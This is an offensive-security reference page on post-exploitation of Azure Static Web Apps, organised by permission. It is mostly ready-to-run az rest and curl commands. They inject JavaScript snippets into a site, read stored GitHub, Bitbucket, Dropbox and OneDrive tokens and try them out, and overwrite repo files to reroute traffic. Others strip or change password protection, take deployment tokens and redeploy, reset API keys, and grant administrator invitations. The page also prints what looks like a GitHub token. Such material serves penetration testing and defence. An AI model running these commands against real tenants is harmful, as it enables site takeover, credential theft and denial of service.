# Az - Static Web Apps Post Exploitation

{{#include ../../../banners/hacktricks-training.md}}

## Azure Static Web Apps

For more information about this service check:

{{#ref}}
../az-services/az-static-web-apps.md
{{#endref}}

### Microsoft.Web/staticSites/snippets/write

It's possible to make a static web page load arbitary HTML code by creating a snippet. This could allow an attacker to inject JS code inside the web app and steal sensitive information such as credentials or mnemonic keys (in web3 wallets).

The fllowing command create an snippet that will always be loaded by the web app::

```bash
az rest \
    --method PUT \
    --uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
    --headers "Content-Type=application/json" \
    --body '{
        "properties": {
            "name": "supersnippet",
            "location": "Body",
            "applicableEnvironmentsMode": "AllEnvironments",
            "content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
            "environments": [],
            "insertBottom": false
        }
    }'
```

### Read Configured Third Party Credentials

As explained in the App Service section:

{{#ref}}
../az-privilege-escalation/az-app-services-privesc.md
{{#endref}}

Running the following command it's possible to **read the third party credentials** configured in the current account. Note that if for example some Github credentials are configured in a different user, you won't be able to access the token from a different one.

```bash
az rest --method GET \
  --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
```

This command returns tokens for Github, Bitbucket, Dropbox and OneDrive.

Here you have some command examples to check the tokens:

```bash
# GitHub – List Repositories
curl -H "Authorization: token <token>" \
     -H "Accept: application/vnd.github.v3+json" \
     https://api.github.com/user/repos

# Bitbucket – List Repositories
curl -H "Authorization: Bearer <token>" \
     -H "Accept: application/json" \
     https://api.bitbucket.org/2.0/repositories

# Dropbox – List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
     -H "Authorization: Bearer <token>" \
     -H "Content-Type: application/json" \
     --data '{"path": ""}'

# OneDrive – List Files in Root Folder
curl -H "Authorization: Bearer <token>" \
     -H "Accept: application/json" \
     https://graph.microsoft.com/v1.0/me/drive/root/children
```

### Overwrite file - Overwrite routes, HTML, JS...

It's possible to **overwrite a file inside the Github repo** containing the app through Azure having the **Github token** sending a request such as the following which will indicate the path of the file to overwrite, the content of the file and the commit message.

This can be abused by attackers to basically **change the content of the web app** to serve malicious content (steal credentials, mnemonic keys...) or just to **re-route certain paths** to their own servers by overwriting the `staticwebapp.config.json` file.

> [!WARNING]
> Note that if an attacker manages to compromise the Github repo in any way, they can also overwrite the file directly from Github.

```bash
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
-H "Content-Type: application/json" \
-d '{
    "commit": {
        "message": "Update static web app route configuration",
        "branchName": "main",
        "committer": {
            "name": "Azure App Service",
            "email": "donotreply@microsoft.com"
        },
        "contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
        "filePath": "staticwebapp.config.json",
        "message": "Update static web app route configuration",
        "repoName": "carlospolop/my-first-static-web-app",
        "sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
    },
    "gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
}'
```


### Microsoft.Web/staticSites/config/write

With this permission, it's possible to **modify the password** protecting a static web app or even unprotect every environment by sending a request such as the following:

```bash
# Change password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
    "name": "basicAuth",
    "type": "Microsoft.Web/staticSites/basicAuth",
    "properties": {
        "password": "SuperPassword123.",
        "secretUrl": "",
        "applicableEnvironmentsMode": "AllEnvironments"
    }
}'



# Remove the need of a password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
    "name": "basicAuth",
    "type": "Microsoft.Web/staticSites/basicAuth",
    "properties": {
        "secretUrl": "",
        "applicableEnvironmentsMode": "SpecifiedEnvironments",
        "secretState": "None"
    }
}'
```

### Microsoft.Web/staticSites/listSecrets/action

This permission allows to get the **API key deployment token** for the static app:

```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
```

Then, in order to **update an app using the token** you could run the following command. Note that this command was extracted checking **how to Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) works**, as it's the one Azure set by default ot use. So the image and paarements could change in the future.

> [!TIP]
> To deploy the app you could use the **`swa`** tool from [https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token](https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token) of follow the following raw steps:

1. Download the repo [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (or any other repo you want to deploy) and run `cd react-basic`.
2. Change the code you want to deploy
3. Deploy it running (Remember to change the `<api-token>`):

```bash
docker run --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
```

> [!WARNING]
> Even if you have the token you won't be able to deploy the app if the **Deployment Authorization Policy** is set to **Github**. For using the token you will need the permission `Microsoft.Web/staticSites/write` to change the deployment method to use th APi token.

### Microsoft.Web/staticSites/write

With this permission it's possible to **change the source of the static web app to a different Github repository**, however, it won't be automatically provisioned as this must be done from a Github Action.

However, if the **Deployment Authotization Policy** is set to **Github**, it's possible to **update the app from the new source repository!**.

In case the **Deployment Authorization Policy** is not set to Github, you can change it with the same permission `Microsoft.Web/staticSites/write`.

```bash
# Change the source to a different Github repository
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main

# Update the deployment method to Github
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>?api-version=2022-09-01" \
--headers 'Content-Type=application/json' \
--body '{
    "properties": {
        "allowConfigFileUpdates": true,
        "stagingEnvironmentPolicy": "Enabled",
        "buildProperties": {
            "appLocation": "/",
            "apiLocation": "",
            "appArtifactLocation": "build"
        },
        "deploymentAuthPolicy": "GitHub",
        "repositoryToken": "<github_token>" # az rest --method GET --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
    }
}'
```

Example Github Action to deploy the app:

```yaml
name: Azure Static Web Apps CI/CD

on:
  push:
    branches:
      - main
  pull_request:
    types: [opened, synchronize, reopened, closed]
    branches:
      - main

jobs:
  build_and_deploy_job:
    if: github.event_name == 'push' || (github.event_name == 'pull_request' && github.event.action != 'closed')
    runs-on: ubuntu-latest
    name: Build and Deploy Job
    permissions:
       id-token: write
       contents: read
    steps:
      - uses: actions/checkout@v3
        with:
          submodules: true
          lfs: false
      - name: Install OIDC Client from Core Package
        run: npm install @actions/core@1.6.0 @actions/http-client
      - name: Get Id Token
        uses: actions/github-script@v6
        id: idtoken
        with:
           script: |
               const coredemo = require('@actions/core')
               return await coredemo.getIDToken()
           result-encoding: string
      - name: Build And Deploy
        id: builddeploy
        uses: Azure/static-web-apps-deploy@v1
        with:
          azure_static_web_apps_api_token: "12345cbb198a77a092ff885782a62a15d5aef5e3654cac1234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345" # A valid formatted token is needed although it won't be used for authentication
          action: "upload"
          ###### Repository/Build Configurations - These values can be configured to match your app requirements. ######
          # For more information regarding Static Web App workflow configurations, please visit: https://aka.ms/swaworkflowconfig
          app_location: "/" # App source code path
          api_location: "" # Api source code path - optional
          output_location: "build" # Built app content directory - optional
          github_id_token: ${{ steps.idtoken.outputs.result }}
          ###### End of Repository/Build Configurations ######

  close_pull_request_job:
    if: github.event_name == 'pull_request' && github.event.action == 'closed'
    runs-on: ubuntu-latest
    name: Close Pull Request Job
    steps:
      - name: Close Pull Request
        id: closepullrequest
        uses: Azure/static-web-apps-deploy@v1
        with:
          action: "close"
```

### Microsoft.Web/staticSites/resetapikey/action

With this permision it's possible to **reset the API key of the static web app** potentially DoSing the workflows that automatically deploy the app.

```bash
az rest --method POST \
    --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
```

### Microsoft.Web/staticSites/createUserInvitation/action

This permission allows to **create an invitation to a user** to access protected paths inside a static web app ith a specific given role.

The login is located in a path such as `/.auth/login/github` for github or `/.auth/login/aad` for Entra ID and a user can be invited with the following command:

```bash
az staticwebapp users invite \
    --authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \
    --domain mango-beach-071d9340f.4.azurestaticapps.net # Domain of the app \
    --invitation-expiration-in-hours 168 # 7 days is max \
    --name my-first-static-web-app # Name of the app\
    --roles "contributor,administrator" # Comma sepparated list of roles\
    --user-details username # Github username in this case\
    --resource-group Resource_Group_1 # Resource group of the app
```

### Pull Requests

By default Pull Requests from a branch in the same repo will be automatically compiled and build in a staging environment. This could be abused by an attacker with write access over the repo but without being able to bypass branch protections of the production branch (usually `main`) to **deploy a malicious version of the app** in the statagging URL.

The staging URL has this format: `https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>` like: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`

> [!TIP]
> Note that by default external PRs won't run workflows unless they have merged at least 1 PR into the repository. An attacker could send a valid PR to the repo and **then send a malicious PR** to the repo to deploy the malicious app in the stagging environment. HOWEVER, there is an unexpected protection, the default Github Action to deploy into the static web app need access to the secret containing the deployment token (like `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`) eve if the deployment is done with the IDToken. This means that because an external PR won't have access to this secret and an external PR cannot change the Workflow to place here an arbitrary token without a PR getting accepted, **this attack won't really work**.


{{#include ../../../banners/hacktricks-training.md}}
